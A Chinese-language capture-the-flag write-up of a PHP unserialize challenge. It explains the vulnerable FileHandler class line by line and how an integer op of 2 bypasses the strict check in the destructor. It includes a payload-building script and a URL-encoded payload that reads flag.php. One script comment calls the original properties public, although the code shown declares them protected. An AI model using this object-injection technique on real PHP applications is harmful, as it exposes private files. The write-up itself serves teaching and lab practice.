这道题磨了好几天才做出来,不是因为有多难,纯是因为一打开这个靶场看到源代码那么多头就疼,有很多看不懂,看解析也看的头糊的很,于是又花时间去补基础。
打开靶场,可以看到一大堆代码
php
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
我就不只讲核心内容了,我从头梳理,以便我自己再理一遍,去记住他,核心内容我会用标题标出来
逐句讲解
php
include("flag.php");
字面意思,包含flag.php,就是将flag.php引用到这堆代码中了,而这个flag.php也就是我们最终目标。
php
highlight_file(__FILE__);
highlight_file()意思是高亮显示文件中的内容,而__FILE__是 PHP 魔术常量,代表当前文件的完整路径。
php
class FileHandler {
定义了一个名为FileHandler的类,封装文件读写相关的方法和属性。意思就是**创建一个专门处理文件的"工具箱",**像这样的类名还有其他的,大家可以自行查阅一下。
php
protected $op;
protected $filename;
protected $content;
- 作用:定义 3 个
protected(受保护)属性:$op:操作类型标识(1 = 写入文件,2 = 读取文件);$filename:要操作的文件路径 / 名称;$content:写入文件的内容(读取文件时无作用)。
protected权限说明:只能在类内部或子类中访问,外部无法直接修改,但反序列化可以突破这个权限限制(这是后续利用的基础)。
php
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
$op = "1";:定义局部变量$op(不是对象属性$this->op),赋值为字符串 "1";$filename = "/tmp/tmpfile";:定义局部变量$filename,赋值为临时文件路径;$content = "Hello World!";:定义局部变量$content,赋值为测试内容;$this->process();:调用当前对象的process()方法。
利用这里读取flag
php
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
-
public function process():定义公共方法process(),外部可调用;if($this->op == "1"):判断对象属性$op是否松散等于 字符串 "1"(松散比较:只比较值,不比较类型),若是则调用write()方法(写入文件);else if($this->op == "2"):判断$op是否松散等于 "2",若是则调用read()方法读取文件,将结果赋值给$res,再调用output()输出$res;else:其他情况输出 "Bad Hacker!"。
- 漏洞关联:这里的
==(松散比较)是后续漏洞利用的核心关键点 (与析构方法的===严格比较形成对比)。
php
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function write():定义私有方法write(),只能在类内部调用;if(isset($this->filename) && isset($this->content)):检查$filename和$content是否已设置;if(strlen((string)$this->content) > 100):检查$content的长度是否超过 100,若是则输出 "Too long!" 并终止脚本;$res = file_put_contents($this->filename, $this->content):将$content写入$filename指定的文件,返回写入的字节数(失败返回 false);- 后续判断写入结果,输出 "Successful!" 或 "Failed!"。
php
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
-
private function read():定义私有方法read(),只能在类内部调用;$res = "";:初始化返回值为空字符串;if(isset($this->filename)):检查$filename是否已设置;$res = file_get_contents($this->filename):读取$filename指定文件的全部内容,赋值给$res;return $res;:返回读取的内容。
- 关键:
file_get_contents()可以读取任意文件(只要 PHP 有读取权限),这是我们能读取flag.php的核心函数。
php
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
-
private function output($s):定义私有方法output(),接收一个参数$s;echo "[Result]: <br>";:输出固定提示文本和换行;echo $s;:直接输出参数$s的内容。
- 关键:这个方法是最终能看到
flag.php内容的 "出口"------read()读取的内容会通过这个方法输出到网页上。
析构方法__destruct ()(核心漏洞点)
php
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
-
function __destruct():析构方法,对象被销毁时自动执行(PHP 脚本执行结束、对象被 unset、超出作用域时都会触发);if($this->op === "2"):判断$op是否严格等于字符串 "2"(严格比较:既要值相等,也要类型相等);$this->op = "1";:如果严格等于,则将$op改为 "1";$this->content = "";:清空$content属性(对读取操作无影响);$this->process();:调用process()方法执行后续操作。
-
漏洞成因详解:
- 析构方法用
===(严格比较),而process()方法用==(松散比较),两者的比较规则差异形成了绕过条件; - 析构方法会自动执行
process(),无需手动调用,是触发读取逻辑的 "自动入口"; - 虽然析构方法试图阻止
$op=2,但只阻止了 "字符串类型的 2",没有阻止 "整数类型的 2"。
- 析构方法用
-
漏洞利用方式 :构造反序列化 payload 时,将
$op设置为整数 2(而非字符串 "2"):- 严格比较:
2 === "2"→ false(值相同但类型不同),因此析构方法不会将$op改为 1; - 松散比较:
2 == "2"→ true(只比较值),因此process()方法会触发read()读取文件; - 最终通过
output()输出flag.php的内容。
- 严格比较:
php
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
- 逐行解析:
function is_valid($s):定义函数,接收一个字符串参数$s;for($i = 0; $i < strlen($s); $i++):遍历字符串的每一个字符;if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)):检查字符的 ASCII 码是否在 32(空格)到 125(})之间(即可打印字符);- 只要有一个字符不符合,返回 false;全部符合返回 true。
- 作用:过滤不可打印字符(如空字节
\0、换行符\n等),试图限制反序列化 payload 的构造。 - 漏洞绕过:我们构造的 payload(public 属性、整数 2、flag.php)的所有字符都是可打印 ASCII,完全满足这个检查,因此能通过验证。
反序列化入口
php
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
-
逐行解析:
if(isset($_GET{'str'})):检查是否存在 GET 参数str;$str = (string)$_GET['str'];:将str参数转为字符串;if(is_valid($str)):调用is_valid()检查字符串合法性;$obj = unserialize($str);:将合法的字符串反序列化为 PHP 对象。
-
漏洞触发条件 :这是整个漏洞的 "入口"------ 只要传入符合
is_valid()检查的反序列化字符串,就能构造FileHandler对象并控制其属性($op/$filename/$content),进而触发析构方法的漏洞逻辑。
核心内容总结
以上就是这一大堆代码的解析,我在做的时候真是一句一句的查,不然都不知道啥意思
说白了,就三个点和一个需要注意的地方
三个点:1、整个代码我们要从哪里入手
2、他的核心漏洞在哪里
3、我们要如何利用漏洞来读取flag
需要注意的地方:我们构造的payload要满足is_valid()检查的反序列化字符串
整段代码非自上而下的执行,我在看的时候总是从上往下看,所以会感觉很蒙,即使我把这段代码给查明了什么意思,我也不知道他到底在干什么。所以逻辑真的很重要!!!
整段代码利用逻辑如下:
unserialize() 还原恶意对象 → 脚本执行结束触发 __destruct() → 依次执行强比较、调用 process()、执行弱比较。
首先,是反序列化的入口
php
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
这里需要用到str参数传payload,由于反序列化unserialize(),所以我们的payload必须是经过序列化后的,然后通过反序列化转为程序可执行的(要满足is_valid()检查)
漏洞绕过
php
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
当unserialize() 还原我们的payload(也就是恶意对象),此程序结束后触发 __destruct(),进行强比较让op严格等于字符串2,比较后让op=1,清空$content属性,最后调用process()方法,重要的点就在这,因为他只过滤了字符串2,所以我们想让op不等于1,调用process()方法后去执行read而不是write,所以我们payload中的op必须为整型的2
读取flag
php
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
当我们的op为整型2绕过过滤时,执行else if里面的语句,op==2,调用read()方法看我们的filename是不是flag.php,是的话通过output()方法输出,把存着 flag 的$res传给输出方法,output()里执行echo $s
最终payload:
以下是生成最终payload的代码,因为我的语言基础薄弱,所以下面生成payload的代码借助了AI,大家见谅
php
<?php
// ==========================================
// 第一步:1:1复刻原题的类定义(绝对不能改!)
// ==========================================
class FileHandler {
// 重点:原题属性是public,这里必须也是public
// 如果原题是private/protected,这里必须对应修改,否则payload失效
public $op;
public $filename;
public $content;
}
// ==========================================
// 第二步:构造恶意对象(设置核心利用参数)
// ==========================================
$evilObj = new FileHandler();
// 【核心绕过点1】op必须设为整型2,绝对不能加引号!
// 加引号会变成字符串2,被析构方法的$op === "2"强比较过滤,改成1
$evilObj->op = 2;
// 【核心利用点2】filename必须设为原题flag的实际路径
// 你这里能生效,说明原题flag就在当前目录的flag.php
$evilObj->filename = "flag.php";
// 【无关参数】content设为空即可,不影响漏洞利用
$evilObj->content = "";
// ==========================================
// 第三步:生成原始序列化payload(仅用于解析)
// ==========================================
$rawPayload = serialize($evilObj);
echo "【1. 原始未编码payload(仅解析用,不能直接传URL)】:\n";
echo $rawPayload . "\n\n";
// ==========================================
// 第四步:生成URL编码后的最终payload(直接复制传参用)
// ==========================================
$finalPayload = urlencode($rawPayload);
echo "【2. URL编码后的最终可用payload(GET传参直接用)】:\n";
echo $finalPayload . "\n";
?>
注意:最终payload必须进行url编码,不然很多符号浏览器看不懂
最终payload也需要通过get传参使用
最终payload:
html
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D
回车后代码最下面会有个结果

然后查看网页源代码即可获得flag
